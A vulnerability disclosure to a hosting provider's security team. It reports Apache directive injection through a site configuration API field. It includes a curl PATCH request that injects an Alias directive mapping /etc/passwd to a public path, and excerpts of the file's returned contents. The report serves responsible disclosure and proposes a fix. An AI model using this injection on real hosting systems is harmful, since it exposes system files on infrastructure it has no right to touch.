|
Task Description
Hello Security Team,
I would like to report a security issue identified while testing site configuration through the API.
Name of vulnerability:
Apache directive injection through vhost_additional_directives in site configuration API
Description:
The vhost_additional_directives field appears to accept Apache directive content without filtering. In testing performed on a site under my own account, a directive supplied through this field was applied to the generated virtual host configuration and became active on the hosted site.
A simple Alias directive was accepted and mapped a local file to a public path, indicating that directives provided through this field are interpreted by Apache as part of the site configuration.
Steps to reproduce:
Using a site under my own account, I sent the following PATCH request:
curl -u "<account>:<password>"
-X PATCH "https://api.alwaysdata.com/v1/site/<site_id>/"
-H "Content-Type: application/json"
-d '{"vhost_additional_directives":"Alias /readfile /etc/passwd"}'
After the configuration was applied, I accessed:
https://<test-subdomain>.alwaysdata.net/readfile
The response returned the contents of /etc/passwd. A screenshot showing both the request and the resulting response is attached for reference.
Impact:
This behavior suggests that directives supplied through the API may be applied without validation, allowing configuration changes beyond the intended scope of this field. In the tested case, it resulted in local file exposure through a web-accessible path on a site under my own account.
Vulnerable HTTP Request and Response:
Request:
PATCH /v1/site/<site_id>/ HTTP/1.1
Content-Type: application/json
{
"vhost_additional_directives": "Alias /readfile /etc/passwd"
}
Observed response after visiting the configured path:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…
Remediation:
A possible remediation would be to validate or restrict directives accepted in vhost_additional_directives, allow only expected configuration directives, and reject directives that expose filesystem paths or alter request routing outside the intended use of this field.
Testing was limited to infrastructure associated with my own account. No destructive actions were performed, and only read verification was used to confirm the behavior.
Please let me know if any additional details would be helpful.
Best regards
|
